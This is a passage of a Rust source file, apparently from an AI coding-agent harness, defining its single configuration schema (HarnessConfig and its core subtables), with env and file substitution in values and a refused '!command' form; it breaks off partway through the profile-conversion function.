supercode-harness 0.4.20

//! §3 "The Single Config File" (`docs/composable-harness/COMPOSABLE-HARNESS-DESIGN.md`)
//! — P1 of the composable-harness migration (design §5.2, phase **P1**).
//!
//! `HarnessConfig` is the one schema described in §3.1: `schema_version` +
//! `extends` + `[core]` (+ its subtables) + `[capabilities.*]` +
//! `[experimental]`. It is a plain serde struct with no format-specific
//! logic, so it parses identically from TOML ([`HarnessConfig::from_toml_str`],
//! the CLI's format) or JSON ([`HarnessConfig::from_json_str`], the SDK
//! mirror §3.0 describes as superseding the old 9-field `ConfigProfile`).
//!
//! **P1 scope** (design §5.2's exact wording): the config *surface*, not the
//! module *runtime*. Fields with no `Config` runtime home yet are captured
//! typed-but-unconsumed with a `P3/P4:` doc-comment rather than inventing
//! behavior ahead of the phase that consumes them. `extends` is parsed but
//! **not** resolved — preset resolution (§3.5, the preset table itself in
//! §4) is P2. `[capabilities.*]` module *settings* are likewise parsed but
//! not consumed — module runtime wiring is P3 (design's explicit framing:
//! "consumed later phases").
//!
//! **Naming note (P1 judgment call).** `crates/harness/src/config.rs` already
//! defines a small `ConfigFile { profiles: HashMap<String, ConfigProfile> }`
//! — a *named-profile table* (the SDK's `--profile`/`from_profile_file`
//! mechanism). That shape is not what §3.1 describes (one resolved harness,
//! not a table of named alternatives), so this module introduces the new
//! type under a distinct name, `HarnessConfig`, rather than repurposing or
//! renaming the existing `ConfigFile`. This is the least-breaking path: zero
//! changes to `Config::from_profile_file` or its existing test
//! (`crates/harness/tests/agent_loop.rs:640-652`).
//!
//! **`[core.model]` schema conflict (P1 judgment call).** §3.1 literally
//! shows a scalar `core.model` (the model id string, line 582) *and* a table
//! `[core.model]` a few lines later (`allow_switch`, line 611-612). Those are
//! not simultaneously representable in one TOML document — a table cannot
//! redefine a key already set as a string in the same parent table (verified
//! empirically: both `tomllib` and the `toml` crate reject it as "cannot
//! overwrite a value"). Rather than silently working around a spec bug, this
//! is exposed under a distinct table name, `[core.model_switch]`
//! ([`CoreModelSwitchConfig`]), until the design doc is corrected upstream.

use std::collections::{BTreeMap, HashMap};

use serde::{Deserialize, Serialize};

use crate::config::{ApprovalPolicy, Config, ConfigBuilder, ConfigProfile, ToolOverrideProfile};
use crate::tools::SandboxPolicy;

fn default_schema_version() -> u32 {
    1
}

/// BP-9 (§1.8 "env substitution in values", D6 row "Env/command
/// substitution in config values"): expand substitution references in `s`
/// against the process environment and the filesystem. Applied at
/// [`HarnessConfig::to_config_profile`] to the string-valued `[core]`
/// fields that plausibly vary per deployment — `base_url`, `system_prompt`,
/// `append_system_prompt`, `additional_dirs`, `extra_headers` values, and
/// `extra_body` string values (judgment call, §1.8's "in values" wording
/// names no exhaustive field list; `api_key_env`/`api_key_cmd`/
/// `api_key_command` are deliberately EXCLUDED — the first is already an
/// env var NAME not a value, the other two are commands the shell/exec
/// layer resolves when it runs them, see the call site's comment).
///
/// Three forms are recognized, matching the catalog's D6 semantics
/// (`${VAR}`, `{file:…}`, `!command`) with the third deliberately REFUSED:
///
/// * `${VAR}` — the process environment. An unset variable is left LITERAL
///   (`${VAR}` stays in the output) rather than silently substituted with
///   an empty string, so a config author sees immediately that something
///   didn't resolve instead of silently getting a blank `base_url`.
/// * `${VAR:-default}` — the shell's own "use `default` when `VAR` is unset
///   OR empty" operator (cc§7's `.mcp.json` form). Because the default makes
///   the author's intent explicit, THIS form never leaves a literal behind.
/// * `{file:/path/to/secret}` — the file's contents with trailing newlines
///   trimmed (oc§6's form). An unreadable path is left LITERAL, the same
///   fail-visible posture as an unset `${VAR}`.
///
/// `!command` (pi§6's form) is NOT expanded here and never will be: a
/// config VALUE that silently executes a command turns every layer that can
/// set that value into arbitrary code execution. The one sanctioned door is
/// the explicitly-named credential helper (`core.api_key_cmd` /
/// `core.api_key_command`), which is `[project-forbidden]` and runs only in
/// the credential-resolution path. [`command_substitution_refusals`] reports
/// a `!`-prefixed value as a resolve-time warning naming that reason.
pub fn expand_env_vars(s: &str) -> String {
    let mut out = String::with_capacity(s.len());
    let mut i = 0usize;
    while i < s.len() {
        let rest = &s[i..];
        if let Some(end) = rest.strip_prefix("${").and_then(|r| r.find('}')) {
            let literal = &rest[..2 + end + 1];
            out.push_str(&expand_env_ref(&rest[2..2 + end], literal));
            i += literal.len();
            continue;
        }
        if let Some(end) = rest.strip_prefix(FILE_REF_PREFIX).and_then(|r| r.find('}')) {
            let literal = &rest[..FILE_REF_PREFIX.len() + end + 1];
            out.push_str(&expand_file_ref(
                &rest[FILE_REF_PREFIX.len()..FILE_REF_PREFIX.len() + end],
                literal,
            ));
            i += literal.len();
            continue;
        }
        // Not a reference start (including an unterminated `${`/`{file:`):
        // copy one character verbatim and keep scanning.
        let ch = rest.chars().next().expect("non-empty remainder");
        out.push(ch);
        i += ch.len_utf8();
    }
    out
}

/// The `{file:…}` reference opener. A `const` so the scanner above and
/// [`is_safe_project_dir`]'s rejection agree on one spelling.
pub(crate) const FILE_REF_PREFIX: &str = "{file:";

/// `${VAR}` / `${VAR:-default}`. `literal` is the whole reference as
/// written, returned unchanged when a bare `${VAR}` doesn't resolve.
fn expand_env_ref(inner: &str, literal: &str) -> String {
    match inner.split_once(":-") {
        Some((name, default)) => match std::env::var(name) {
            Ok(v) if !v.is_empty() => v,
            _ => default.to_string(),
        },
        None => std::env::var(inner).unwrap_or_else(|_| literal.to_string()),
    }
}

/// `{file:PATH}` — the file's contents, trailing newlines trimmed (a secret
/// file written by `printf`/`echo` should not carry its own newline into a
/// header value). Unreadable → the literal, like an unset `${VAR}`.
fn expand_file_ref(path: &str, literal: &str) -> String {
    match std::fs::read_to_string(path) {
        Ok(text) => text.trim_end_matches(['\n', '\r']).to_string(),
        Err(_) => literal.to_string(),
    }
}

/// Every substitution-eligible `[core]` value, as `(dotted key, value)` —
/// the exact set [`HarnessConfig::to_config_profile`] runs
/// [`expand_env_vars`] over, so the refusal scan below cannot drift from
/// the expansion itself.
fn substitutable_values(hc: &HarnessConfig) -> Vec<(String, &str)> {
    let c = &hc.core;
    let mut out: Vec<(String, &str)> = Vec::new();
    for (key, value) in [
        ("core.base_url", c.base_url.as_deref()),
        ("core.system_prompt", c.system_prompt.as_deref()),
        (
            "core.append_system_prompt",
            c.append_system_prompt.as_deref(),
        ),
    ] {
        if let Some(v) = value {
            out.push((key.to_string(), v));
        }
    }
    if let Some(dirs) = &c.additional_dirs {
        for (i, d) in dirs.iter().enumerate() {
            out.push((format!("core.additional_dirs[{i}]"), d.as_str()));
        }
    }
    if let Some(headers) = &c.extra_headers {
        for (k, v) in headers {
            out.push((format!("core.extra_headers.{k}"), v.as_str()));
        }
    }
    if let Some(body) = &c.extra_body {
        for (k, v) in body {
            if let serde_json::Value::String(s) = v {
                out.push((format!("core.extra_body.{k}"), s.as_str()));
            }
        }
    }
    out
}

/// BP-9 (D6 row): the `!command` substitution form, reported rather than
/// run. Returns one warning per config value whose text begins with `!` —
/// pi§6 spells a credential/config command that way, and a reader coming
/// from pi would otherwise believe the command ran and silently ship a
/// literal `!op read …` as their `base_url`/header. Naming the refusal (and
/// the sanctioned door) is the whole point: the value is NEVER executed.
pub fn command_substitution_refusals(hc: &HarnessConfig) -> Vec<String> {
    substitutable_values(hc)
        .into_iter()
        .filter(|(_, v)| v.trim_start().starts_with('!'))
        .map(|(key, _)| {
            format!(
                "`{key}` uses the `!command` substitution form, which supercode refuses: a config \
                 value must never execute a command (§3.3 trust boundary). The value is used \
                 verbatim; for credentials use the named helper `core.api_key_cmd` / \
                 `core.api_key_command` instead"
            )
        })
        .collect()
}

/// The top-level schema (§3.1): one TOML/JSON document that fully determines
/// the harness's shape (§3.0: "Everything the harness does is a function of
/// the resolved file").
#[derive(Debug, Clone, PartialEq, Deserialize, Serialize)]
pub struct HarnessConfig {
    /// BP-9 (D6 row "Published JSON schema for config"): the editor-facing
    /// `$schema` pointer. Purely declarative — the resolver never fetches
    /// or validates against it; it exists so an editor (VS Code, Zed,
    /// Helix, anything with a JSON/TOML schema store) can be pointed at
    /// `docs/schema/supercode-config.schema.json` from inside the file it
    /// validates, exactly the way cc§6 publishes its settings schema.
    /// Accepting the key is the whole feature: without a field for it, the
    /// strict resolver would reject the very line that makes the file
    /// editor-validated. Never merged into behavior — [`Self::overlay`]
    /// keeps the higher layer's pointer only for round-tripping.
    #[serde(rename = "$schema", default)]
    pub schema: Option<String>,
    /// Schema version; `1` is the only version P1 understands.
    #[serde(default = "default_schema_version")]
    pub schema_version: u32,
    /// Built-in preset name, or (user/global layer only, §3.3) a file path.
    /// Parsed but NOT resolved in P1 — preset resolution is §3.5 / P2.
    #[serde(default)]
    pub extends: Option<String>,
    /// `[core]` — obligation knobs (§1). Per §3.0, the region is always
    /// present in a resolved config even when every knob inside it is
    /// defaulted; `#[serde(default)]` gives an absent `[core]` table the
    /// same all-defaulted shape.
    #[serde(default)]
    pub core: CoreSection,
    /// `[capabilities.*]` — the §2 modules, keyed by capability name.
    /// Parsed (the surface) but not consumed (the runtime) in P1 — see the
    /// module doc comment.
    #[serde(default)]
    pub capabilities: BTreeMap<String, CapabilityConfig>,
    /// `[experimental]` — obligation 8 feature flags, staged gates not yet
    /// promoted to `[core]`. Untyped: P1 only carries the table through.
    /// LOW-1 (P3 review): a project-layer file may never set ANY key in
    /// this table — `sanitize_for_project` strips it whole, since future
    /// flags added here aren't guaranteed narrowing-only the way
    /// `module_registry` is today. User/global layer only.
    #[serde(default)]
    pub experimental: serde_json::Map<String, serde_json::Value>,
}

impl Default for HarnessConfig {
    fn default() -> Self {
        HarnessConfig {
            schema: None,
            schema_version: default_schema_version(),
            extends: None,
            core: CoreSection::default(),
            capabilities: BTreeMap::new(),
            experimental: serde_json::Map::new(),
        }
    }
}

/// `[core]` (§3.1 lines 581-609 + the named subtables that follow).
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreSection {
    /// `Config.model` (config.rs).
    pub model: Option<String>,
    /// `Config.base_url` (config.rs). `[project-forbidden]` (§3.3).
    pub base_url: Option<String>,
    /// `Config.api_key_env` (config.rs). `[project-forbidden]` (§3.3).
    pub api_key_env: Option<String>,
    /// NEW: credential helper (`!command` form, pi§6 / D6 row).
    /// `[project-forbidden]`. P4: consumed by the CLI's credential
    /// resolution (`userconfig::resolve_api_key`) — captured, not yet wired.
    pub api_key_cmd: Option<String>,
    /// BP-9 (D6 row "Credential helpers / keyring", cx§6 `auth{command}`,
    /// cc§6 `apiKeyHelper`): an ARGV credential helper — the program is
    /// exec'd directly with the remaining entries as arguments, and its
    /// stdout (trimmed) is the API key. `[project-forbidden]`, the same
    /// credential-redirection trust boundary as `api_key_cmd`.
    ///
    /// Distinct from `api_key_cmd` on purpose: that one is a SHELL string
    /// (`sh -c "…"`, so the shell's own quoting/expansion applies), this
    /// one is an exec'd argv with no shell in the path — the form cx and
    /// cc both publish, and the safe one to accept from a config file the
    /// user typed by hand (no word-splitting surprises, no `$(…)`).
    /// Consumed by `Agent::new` before `api_key_cmd`.
    pub api_key_command: Option<Vec<String>>,
    /// BP-9 (D6 row "Auto-update + channels", cx§10 "startup check"):
    /// whether the CLI performs a background "is there a newer release?"
    /// check at startup. OPT-IN — absent/`false` means the CLI never
    /// reaches the network on startup, which is today's behavior and the
    /// only defensible default for a tool that runs in CI and on airgapped
    /// boxes. `supercode update` itself is unaffected (an explicit command
    /// is always allowed to check).
    pub update_check: Option<bool>,
    /// `Config.effort` (config.rs).
    pub effort: Option<String>,
    /// `Config.temperature` (config.rs).
    pub temperature: Option<f32>,
    /// `Config.max_tokens` (config.rs).
    pub max_tokens: Option<u32>,
    /// `Config.max_iterations` (config.rs).
    pub max_iterations: Option<usize>,
    /// `Config.max_total_output_tokens` (config.rs); `0`/absent = off.
    pub max_total_output_tokens: Option<u64>,
    /// `Config.max_tool_output_bytes` (config.rs).
    pub max_tool_output_bytes: Option<usize>,
    /// BP-7 (catalog §4a "Turn/budget caps", cc's `--max-budget-usd`):
    /// `Config.max_budget_usd` — the SPEND cap. `0`/absent = off.
    pub max_budget_usd: Option<f64>,
    /// BP-7 (catalog §4a "Turn/budget caps"): `Config.max_steps` — the
    /// STEP cap (tool calls executed), distinct from `max_iterations`
    /// (model round-trips). `0`/absent = off.
    pub max_steps: Option<usize>,
    /// BP-7: `Config.price_input_per_mtok` — dollars per million input
    /// tokens, overriding `crate::pricing`'s built-in table for this
    /// model. Set with `price_output_per_mtok` or not at all.
    pub price_input_per_mtok: Option<f64>,
    /// BP-7: `Config.price_output_per_mtok` — dollars per million output
    /// tokens.
    pub price_output_per_mtok: Option<f64>,
    /// NEW: universal parallel tool-call execution (catalog:59). P4e:
    /// consumed by `Agent::run_tools_concurrently` — see
    /// `Config::parallel_tool_calls`'s doc comment.
    pub parallel_tool_calls: Option<bool>,
    /// BP-2 (`core.tool_output_spill`, catalog:58) — see
    /// `Config::tool_output_spill`'s doc comment.
    pub tool_output_spill: Option<bool>,
    /// NEW: shell-env snapshotting (catalog:338).
    /// P3/P4: consumed by the bash tool module.
    pub shell_env_snapshot: Option<bool>,
    /// `Config.system_prompt` (config.rs). `[project-forbidden]` (§3.3).
    pub system_prompt: Option<String>,
    /// NEW: append lever (D2 row 1). `[project-forbidden]`.
    /// P4: consumed by prompt assembly, alongside `system_prompt`.
    pub append_system_prompt: Option<String>,
    /// `Config.load_project_context` (config.rs).
    pub project_context: Option<bool>,
    /// NEW: environment block (catalog §4a).
    /// P4: consumed by prompt assembly.
    pub env_context: Option<bool>,
    /// NEW: synthetic nudge blocks (catalog:91).
    /// P4: consumed by prompt assembly.
    pub context_injections: Option<bool>,
    /// NEW: on-demand subdir instruction loading (catalog:84).
    /// P4: consumed by the skills/instructions subsystem.
    pub nested_instructions: Option<bool>,
    /// NEW: `@path` / `instructions[]` imports (catalog:85).
    /// P4: consumed by the skills/instructions subsystem.
    pub instruction_imports: Option<bool>,
    /// NEW: directory-walk stop markers (catalog:232).
    /// P4: consumed by project-context discovery.
    pub project_root_markers: Option<Vec<String>>,
    /// NEW: live-apply config edits (catalog:221). ASPIRATIONAL /
    /// UNIMPLEMENTED (P4e assessment): a genuine config-file-watch +
    /// live-reload subsystem — detecting the resolved file changing on
    /// disk, re-resolving the full `extends`/layering chain, and safely
    /// swapping a live `Agent`'s `Config` mid-run without corrupting
    /// in-flight state — is M+ (an architecturally significant addition
    /// per catalog:221's "COMMON row" classification, not a small runtime
    /// gap), not the S-sized "NEW: small" a config-plumbing-only key would
    /// be. This field parses and round-trips through every merge/overlay
    /// step (so a config file setting it is never silently dropped or
    /// misinterpreted) but has NO consumer: setting it does nothing. Needs
    /// explicit scheduling as its own unit (P5+), not a half-built watcher
    /// here.
    pub hot_reload: Option<bool>,
    /// P4b (design §5.2 "P4" "instruction-walk nuances", cx§2
    /// `project_doc_max_bytes` analog, §3.1 `core.project_doc_max_bytes`):
    /// hygiene cap on the total bytes of assembled instruction-file content
    /// — see `Config::project_doc_max_bytes`. Consumed by prompt assembly.
    pub project_doc_max_bytes: Option<usize>,
    /// BP-4 (catalog:87 "Instruction-file hygiene controls", cc§2
    /// `claudeMdExcludes`, `core.project_doc_excludes`): glob/path patterns
    /// naming instruction files to skip — see `Config::project_doc_excludes`.
    pub project_doc_excludes: Option<Vec<String>>,
    /// BP-4 (catalog:87, cc§2 "HTML comment stripping",
    /// `core.project_doc_strip_comments`): drop `<!-- … -->` spans from
    /// instruction files before injection — see
    /// `Config::project_doc_strip_comments`.
    pub project_doc_strip_comments: Option<bool>,
    /// BP-5 (catalog D2 "@-file mentions / attachments", cc§2/cx§2):
    /// expand `@path` tokens in a prompt into the file's contents — see
    /// `Config::file_mentions`.
    pub file_mentions: Option<bool>,
    /// BP-5 (catalog D2 "Output style / personality module", cc§7/cx§2):
    /// the named response-style layer — see `Config::output_style`.
    pub output_style: Option<String>,
    /// BP-5 (catalog D2 "Path-scoped rules", cc§2 `.claude/rules/*.md`):
    /// load rule files, `paths:`-scoped ones on demand — see
    /// `Config::path_rules`.
    pub path_rules: Option<bool>,
    /// `Config.additional_dirs` (config.rs). Project files may only ADD
    /// under the repo root (§3.3) — enforced by `sanitize_for_project`'s
    /// `is_safe_project_dir` check (LOW-1, Fable-5 P4a review), which strips
    /// absolute/`~`/`..`-escaping/`${VAR}`-expanding entries from a project
    /// layer before this is expanded (`to_config_profile`). User/global
    /// layers are unrestricted.
    pub additional_dirs: Option<Vec<String>>,
    /// `Config.extra_headers` (config.rs). `[project-forbidden]`: exfil
    /// channel (§3.3).
    pub extra_headers: Option<HashMap<String, String>>,
    /// `Config.extra_body` (config.rs). `[project-forbidden]` (§3.3).
    pub extra_body: Option<serde_json::Map<String, serde_json::Value>>,
    /// P4c (design §5.2 "P4", §5.2 P4 "doom-loop breaker", oc `doom_loop`
    /// UNIQUE row, catalog D3): repeated-identical-tool-call threshold — see
    /// `Config::doom_loop_threshold`. `None`/absent = off (today's
    /// behavior).
    pub doom_loop_threshold: Option<u32>,

    /// `[core.model_switch]` — see the module-level doc comment on the
    /// `[core.model]` naming conflict.
    #[serde(default)]
    pub model_switch: CoreModelSwitchConfig,
    /// `[core.retry]` (obligation 1; pi§3 naming).
    #[serde(default)]
    pub retry: CoreRetryConfig,
    /// `[core.tools]` — registry shaping.
    #[serde(default)]
    pub tools: CoreToolsConfig,
    /// `[core.skills]` (obligation 4, D-7).
    #[serde(default)]
    pub skills: CoreSkillsConfig,
    /// `[core.prompts]` — maps directly onto `Config.prompts` (config.rs);
    /// a table merged key-wise onto the built-ins, not a wholesale replace
    /// (§3.3), via `ConfigBuilder::apply_profile`.
    #[serde(default)]
    pub prompts: BTreeMap<String, String>,
    /// `[core.compaction]` (obligation 5).
    #[serde(default)]
    pub compaction: CoreCompactionConfig,
    /// `[core.session]` (obligation 6).
    #[serde(default)]
    pub session: CoreSessionConfig,
    /// `[core.steering]` (obligation 7; pi§3 semantics).
    #[serde(default)]
    pub steering: CoreSteeringConfig,
    /// `[core.output]` (obligation 9).
    #[serde(default)]
    pub output: CoreOutputConfig,
}

/// `[core.model_switch]` (design's `[core.model]`; see the naming-conflict
/// doc comment above).
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreModelSwitchConfig {
    /// NEW core subsystem: mid-session switch + persisted `model_change`
    /// records (§1.10). P4: consumed by the agentic loop + session store.
    pub allow_switch: Option<bool>,
    /// BP-13 (`core.model_switch.notice`): when the model changes
    /// mid-session, splice a short user-role notice into the conversation
    /// so the NEW model reads the handoff instead of inferring it — Codex's
    /// own mid-session behavior ("switch instructions injected", cx§9).
    /// Claude Code changes the model silently, so this defaults to off and
    /// each preset says which harness it is imitating.
    pub notice: Option<bool>,
}

/// `[core.retry]`. P4: consumed by a request-retry loop that doesn't exist
/// as a `Config` field yet (obligation 1; pi§3 naming).
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreRetryConfig {
    /// Whether the retry loop is on.
    pub enabled: Option<bool>,
    /// Maximum retry attempts.
    pub max_retries: Option<u32>,
    /// Base backoff delay in milliseconds (doubles per pi§3 semantics).
    pub base_delay_ms: Option<u64>,
}

/// `[core.tools]` — registry shaping (§3.1 line 619; replaces
/// `with_builtins()` hardcoding, `tools/mod.rs:179-192`, in **P3**).
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreToolsConfig {
    /// The default-active tool names. P3: consumed by `ToolRegistry`
    /// construction (`with_builtins()` today is unconditional).
    pub enabled: Option<Vec<String>>,
    /// Global schema tier — mirrors `ConfigProfile::schema_tier`; this ONE
    /// *is* resolved in P1 via [`HarnessConfig::to_config_profile`], since
    /// `Config.tool_schema_tier` already exists.
    pub schema_tier: Option<String>,
    /// `[core.tools.read_file]`.
    #[serde(default)]
    pub read_file: ReadFileToolConfig,
    /// `[core.tools.edit_file]`.
    #[serde(default)]
    pub edit_file: EditFileToolConfig,
    /// `[core.tools.bash]` — the one per-tool table P1 resolves into a real
    /// `ToolOverride` (minus `timeout_secs`, see [`BashToolConfig`]).
    #[serde(default)]
    pub bash: BashToolConfig,
}

/// `[core.tools.read_file]`. P3/P4: `multimodal` has no `ToolOverride` home
/// yet (catalog §4a small).
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct ReadFileToolConfig {
    /// Whether `read_file` may return image content (catalog §4a).
    pub multimodal: Option<bool>,
    /// BP-2: whether `read_file` numbers its output `cat -n` style
    /// (catalog:26) — see [`crate::Config::read_file_line_numbers`].
    pub line_numbers: Option<bool>,
}

/// `[core.tools.edit_file]`. P3/P4: `require_read_before_edit`/
/// `notebook_aware` have no `ToolOverride` home yet (S6/S12 catalog rows 32,
/// 40 — `ToolContext` state). `schema_tier` DOES resolve (P2 addition,
/// mirroring `[core.tools.bash].schema_tier`'s existing P1 handling in
/// [`HarnessConfig::to_config_profile`]) — needed for `token-saver`'s own
/// C9 resolution (§2.2: "per-tool `Full` override survives a global
/// `minimal`", design §4.5) to actually materialize into the resolved
/// [`Config`] rather than silently parsing-and-dropping the one field the
/// preset relies on.
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct EditFileToolConfig {
    /// Require a prior `read_file` on the same path before an edit is
    /// accepted (unique CC row, catalog:32).
    pub require_read_before_edit: Option<bool>,
    /// Notebook-cell-aware editing (unique CC row "NotebookEdit", catalog:40).
    pub notebook_aware: Option<bool>,
    /// Per-tool schema tier override — `ToolOverride::schema_tier` for
    /// `edit_file` (config.rs; C9, catalog §5 conflict 9).
    pub schema_tier: Option<String>,
}

/// `[core.tools.bash]` — maps onto a real [`crate::config::ToolOverride`]
/// (`enabled`/`description`/`schema_tier`/`timeout_secs`) via
/// [`HarnessConfig::to_config_profile`] (P4e closes the `timeout_secs` gap
/// S14 flagged — `BashTool`'s timeout is consumed via
/// `tools::ToolContext::bash_timeout_secs`, threaded from
/// `agent::build_tool_context`, not the `ToolOverride` struct directly,
/// since `Tool::execute` only sees a `ToolContext`, not the resolved
/// `Config`/`ToolOverride` map — see that field's doc comment).
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct BashToolConfig {
    /// `ToolOverride::enabled` for `bash`.
    pub enabled: Option<bool>,
    /// `ToolOverride::description` for `bash`.
    pub description: Option<String>,
    /// `ToolOverride::schema_tier` for `bash`.
    pub schema_tier: Option<String>,
    /// `ToolOverride::timeout_secs` for `bash` (P4e).
    pub timeout_secs: Option<u64>,
}

/// `[core.skills]` (obligation 4, D-7). P3/P4: a NEW subsystem extending
/// `Config.prompts`; not yet consumed.
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreSkillsConfig {
    /// Whether the skills subsystem is on.
    pub enabled: Option<bool>,
    /// Extra roots merged over user+project skill defaults.
    pub dirs: Option<Vec<String>>,
    /// BP-6: whose documented skill-root table the loop discovers SKILL.md
    /// packages from — a `HarnessId` spelling (`claude-code`, `codex`, …).
    pub harness: Option<String>,
    /// BP-6 (cx§7): also load a skill's body when a message merely
    /// DESCRIBES it, not only on an explicit `$slug` mention. Off by
    /// default — an implicit match spends a body's tokens unasked.
    pub implicit_match: Option<bool>,
    /// BP-5 (cc§7 "Dynamic context injection"): execute `` !`cmd` `` inside
    /// a skill/command body at load time, through the permissions engine.
    /// Off by default — see `Config::skills_shell_injection`.
    pub shell_injection: Option<bool>,
}

/// `[core.compaction]` (obligation 5). `after_messages` maps to the real
/// `Config.compact_after_messages`, resolved in P1; the rest are P4 NEW
/// pressure-trigger fields.
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreCompactionConfig {
    /// P4: no master gate exists yet on `Config` — `after_messages =
    /// Some(0)` (or absent) is today's only "off" signal.
    pub enabled: Option<bool>,
    /// `Config.compact_after_messages` (config.rs).
    pub after_messages: Option<usize>,
    /// P4 NEW (pi§2 shape).
    pub reserve_tokens: Option<usize>,
    /// P4 NEW.
    pub keep_recent_tokens: Option<usize>,
    /// P4: `SpanSummary` side-call gate (reduce.rs:274-289; D-9 small-model
    /// fallback) — not yet consumed here.
    pub summarize: Option<bool>,
    /// P4b (design §5.2 "P4" "compaction pressure trigger + focus
    /// instructions", §3.1 `core.compaction.focus_instructions`, catalog D2
    /// "no instruction steering" gap) — see
    /// `Config::compaction_focus_instructions`.
    pub focus_instructions: Option<String>,
}

/// `[core.session]` (obligation 6). P3/P4: entirely NEW — no `Config`
/// field represents a session store location/policy today.
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreSessionConfig {
    /// Default session-store location.
    pub dir: Option<String>,
    /// Session naming/rename (S14).
    pub name: Option<String>,
    /// `false` = ephemeral (D5 row; cc/cx/pi have it).
    pub persist: Option<bool>,
    /// Retention window in days.
    pub retention_days: Option<u32>,
    /// Human transcript export format: `text` | `html` (catalog:283).
    pub export_format: Option<String>,
    /// Auto-title/session-summary (catalog:150; D-9 small-model consumer).
    pub auto_title: Option<bool>,
    /// Capture git branch/sha on write (catalog:331).
    pub git_metadata: Option<bool>,
    /// BP-8 (catalog:150 "Append-only durable transcript"): flush every
    /// message to `<name>.journal.jsonl` the moment it is produced, instead
    /// of only rewriting `<name>.jsonl` at the end of a turn.
    pub append_only: Option<bool>,
    /// BP-8 (catalog:154 "Queued-prompt persistence"): record pending
    /// steering / follow-up inputs in the journal so they survive a
    /// restart. Requires `append_only` (the journal IS the record).
    pub queue_persist: Option<bool>,
}

/// `[core.steering]` (obligation 7; pi§3 semantics). P4: NEW, no `Config`
/// field yet.
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreSteeringConfig {
    /// `all` | `one-at-a-time`.
    pub steering_mode: Option<String>,
    /// `all` | `one-at-a-time`.
    pub follow_up_mode: Option<String>,
}

/// `[core.output]` (obligation 9). P3/P4: `Config.event_sink` is code-only
/// ("Callbacks/handlers are code-only", config.rs); this is its declarative
/// equivalent, not yet wired to anything.
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CoreOutputConfig {
    /// `text` | `json` (JSONL event stream over `EventSink`).
    pub format: Option<String>,
}

/// `[capabilities.<name>]` (§2 modules). Every module table carries
/// `enabled` plus module-specific settings. P1 captures the settings as an
/// untyped catch-all: the modules themselves are P3+ ("consumed later
/// phases" per design §5.2's P1 description) — this struct is the config
/// *surface* for them, not their runtime.
#[derive(Debug, Clone, Default, PartialEq, Deserialize, Serialize)]
pub struct CapabilityConfig {
    /// Module master switch (§3.0: "every table has `enabled`").
    pub enabled: Option<bool>,
    /// Everything else the module's table carries (e.g.
    /// `[capabilities.permissions] approval = "..."`), captured but not
    /// consumed in P1.
    #[serde(flatten)]
    pub settings: serde_json::Map<String, serde_json::Value>,
}

/// F7 fix: `schema_version` previously parsed any `u32` silently — a future
/// (or simply typo'd) version number would be interpreted under TODAY's
/// field meanings with no warning at all, exactly the kind of silent
/// misinterpretation §3.5 step 5's "fail SAFE" precedent exists to prevent
/// elsewhere in this migration. Only `1` is understood in P1.
#[derive(Debug)]
pub enum HarnessConfigError {
    /// The document isn't valid TOML, or doesn't match the schema.
    Toml(toml::de::Error),
    /// The document isn't valid JSON, or doesn't match the schema.
    Json(serde_json::Error),
    /// The document parsed fine, but named a `schema_version` this build
    /// doesn't understand.
    UnsupportedSchemaVersion(u32),
}

impl std::fmt::Display for HarnessConfigError {
    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
        match self {
            HarnessConfigError::Toml(e) => write!(f, "{e}"),
            HarnessConfigError::Json(e) => write!(f, "{e}"),
            HarnessConfigError::UnsupportedSchemaVersion(v) => write!(
                f,
                "unsupported schema_version {v}; this build only understands schema_version = 1"
            ),
        }
    }
}

impl std::error::Error for HarnessConfigError {}

impl HarnessConfig {
    /// Parse from TOML text — the CLI's format (`.supercode.toml` /
    /// `config.toml`).
    pub fn from_toml_str(s: &str) -> Result<Self, HarnessConfigError> {
        let hc: HarnessConfig = toml::from_str(s).map_err(HarnessConfigError::Toml)?;
        hc.check_schema_version()?;
        Ok(hc)
    }

    /// Parse from JSON text — the SDK mirror (§3.0).
    pub fn from_json_str(s: &str) -> Result<Self, HarnessConfigError> {
        let hc: HarnessConfig = serde_json::from_str(s).map_err(HarnessConfigError::Json)?;
        hc.check_schema_version()?;
        Ok(hc)
    }

    /// F7: reject an unknown `schema_version` rather than silently
    /// interpreting it under P1's `[core]`/`[capabilities]` field meanings.
    fn check_schema_version(&self) -> Result<(), HarnessConfigError> {
        if self.schema_version != 1 {
            return Err(HarnessConfigError::UnsupportedSchemaVersion(
                self.schema_version,
            ));
        }
        Ok(())
    }

    /// Resolve the `[core]` region (§3.1) into a [`ConfigProfile`] — the
    /// same per-key overlay type [`ConfigBuilder::apply_profile`] already
    /// knows how to fold (§3.3: scalars replace, tables merge, arrays
    /// replace). `[capabilities.*]` is deliberately NOT read here (P1 scope:
    /// module settings are P3 consumption); `extends` is deliberately NOT
    /// followed (P2: preset resolution, §3.5).
    pub fn to_config_profile(&self) -> ConfigProfile {
        let c = &self.core;

        let mut tool_overrides = HashMap::new();
        if c.tools.bash.enabled.is_some()
            || c.tools.bash.description.is_some()
            || c.tools.bash.schema_tier.is_some()
            || c.tools.bash.timeout_secs.is_some()
        {
            tool_overrides.insert(
                "bash".to_string(),
                ToolOverrideProfile {
                    enabled: c.tools.bash.enabled,
                    description: c.tools.bash.description.clone(),
                    schema_tier: c.tools.bash.schema_tier.clone(),
                    // P4e (§3.1 `core.tools.bash.timeout_secs`, S14): reaches
                    // `Config.tool_overrides["bash"].timeout_secs`, which
                    // `agent::build_tool_context` folds into
                    // `ToolContext::bash_timeout_secs` for `BashTool::execute`.
                    timeout_secs: c.tools.bash.timeout_secs,
                },
            );
        }
